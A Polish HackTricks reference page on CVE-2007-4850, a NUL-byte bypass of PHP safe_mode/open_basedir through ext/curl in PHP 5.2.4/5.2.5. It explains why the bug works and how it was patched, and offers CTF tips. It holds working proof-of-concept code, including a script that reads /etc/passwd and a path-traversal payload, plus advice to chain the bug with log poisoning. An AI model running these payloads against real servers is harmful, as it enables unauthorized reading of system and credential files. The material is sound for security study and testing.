PHP 5.2.4 i 5.2.5 PHP cURL

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Ta strona dokumentuje przestarzały, lecz wciąż przydatny w CTFs i lokalnych starszych instalacjach trik umożliwiający obejście kontroli PHP safe_mode/open_basedir przy użyciu rozszerzenia cURL w wybranych kompilacjach PHP 5.2.x.

  • Dotyczy: PHP 5.2.4 i 5.2.5 z włączonym ext/curl.
  • Wpływ: Odczyt dowolnych lokalnych plików pomimo ograniczeń safe_mode lub open_basedir (brak bezpośredniego wykonania kodu).
  • ID: CVE-2007-4850.

Źródło: http://blog.safebuff.com/2016/05/06/disable-functions-bypass/

Jednolinijkowy PoC

Jeśli safe_mode lub open_basedir są aktywne i cURL jest włączony, poniższe zwróci zawartość bieżącego skryptu:

var_dump(curl_exec(curl_init("file://safe_mode_bypass\x00".__FILE__)));

Bardziej szczegółowy PoC (arbitrary file read)

<?php
// Preconditions (legacy): PHP 5.2.4/5.2.5, safe_mode or open_basedir enabled, ext/curl loaded
$target = '/etc/passwd'; // change to the file you want to read
$ch = curl_init();
// The trick is the NUL byte (\x00). Prefix can be any string; checks are confused and the file after the NUL is read.
curl_setopt($ch, CURLOPT_URL, 'file://prefix'.chr(0).$target);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$resp = curl_exec($ch);
$err  = curl_error($ch);
curl_close($ch);
if ($resp !== false) {
echo $resp; // should contain the target file
} else {
echo "cURL error: $err\n";
}
?>

Uwagi:

  • Użyj podwójnych cudzysłowów lub chr(0), aby wstawić prawdziwy bajt NUL. Percent-encoding (%00) nie będzie działać niezawodnie.
  • To jest prymityw do odczytu plików. Łącz z innymi prymitywami (log poisoning, session file inclusion, etc.) w celu dalszej eskalacji, gdy to możliwe.

Dlaczego to działa (krótko)

Luka leży w sposobie, w jaki PHP 5.2.4/5.2.5 wykonywał sprawdzenia safe_mode/open_basedir dla URL-i file:// w ext/curl. Sprawdzenie parsowało URL i weryfikowało komponent ścieżki, ale z powodu obsługi bajtów NUL walidator sprawdzał inny ciąg niż ten, którego faktycznie używał libcurl. W praktyce walidator mógł zatwierdzić ścieżkę po NUL, podczas gdy libcurl używał części przed NUL jako kontenera URL, co umożliwiało obejście skutkujące odczytem pliku umieszczonego po bajcie NUL. Zobacz oryginalną analizę i dotknięty makro w curl/interface.c po szczegóły. [CVE-2007-4850].

Ograniczenia i poprawki

  • Naprawiono w późniejszych wydaniach 5.2.x (np. pakiety dystrybucji załatane do 5.2.6) poprzez poprawę parsowania/walidacji w ext/curl.
  • Dotyczy tylko bardzo starych wdrożeń PHP; safe_mode został usunięty w PHP 5.4 i nowoczesne wydania nie wykazują tego zachowania.

Powiązane historyczne bypasses oparte na cURL

  • CVE-2006-2563 (PHP 4.4.2/5.1.4): wrappery libcurl pozwalały na dostęp file:// z osadzonymi NUL-ami do obejścia open_basedir; naprawione przed 5.2.x.
  • PHP bugs #30609/#36223 śledziły wczesne problemy cURL z open_basedir używając file:// bez kanonizacji. Każda walidacja przed bajtem NUL lub bez rozwiązywania w stylu realpath jest podatna na to samo obcięcie.

Wskazówki CTF

  • Gdy zidentyfikujesz PHP 5.2.4/5.2.5 z załadowanym ext/curl (szukaj cURL support => enabled w phpinfo() i dokładnej wartości PHP Version), ten trik zazwyczaj działa nawet jeśli allow_url_fopen jest wyłączone, ponieważ ext/curl obsługuje file:// samodzielnie.
  • Jeśli bezpośrednie ścieżki są zablokowane, spróbuj względnego traversal po NUL, np. file://x\x00../../../../etc/passwd. Przechodzenie jest rozwiązywane przez libcurl, nie przez mechanizm open_basedir.
  • Możesz opakować payload w jedno ciało żądania HTTP, aby wywołać LFI przez podatny kod po stronie serwera, który wstawia sterowane przez użytkownika URL-e do curl_exec() (częste w legacy SSRF-like endpoints).

Zobacz też

Other disable_functions/open_basedir bypasses and modern techniques are collected here:

HackTricks

Referencje

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks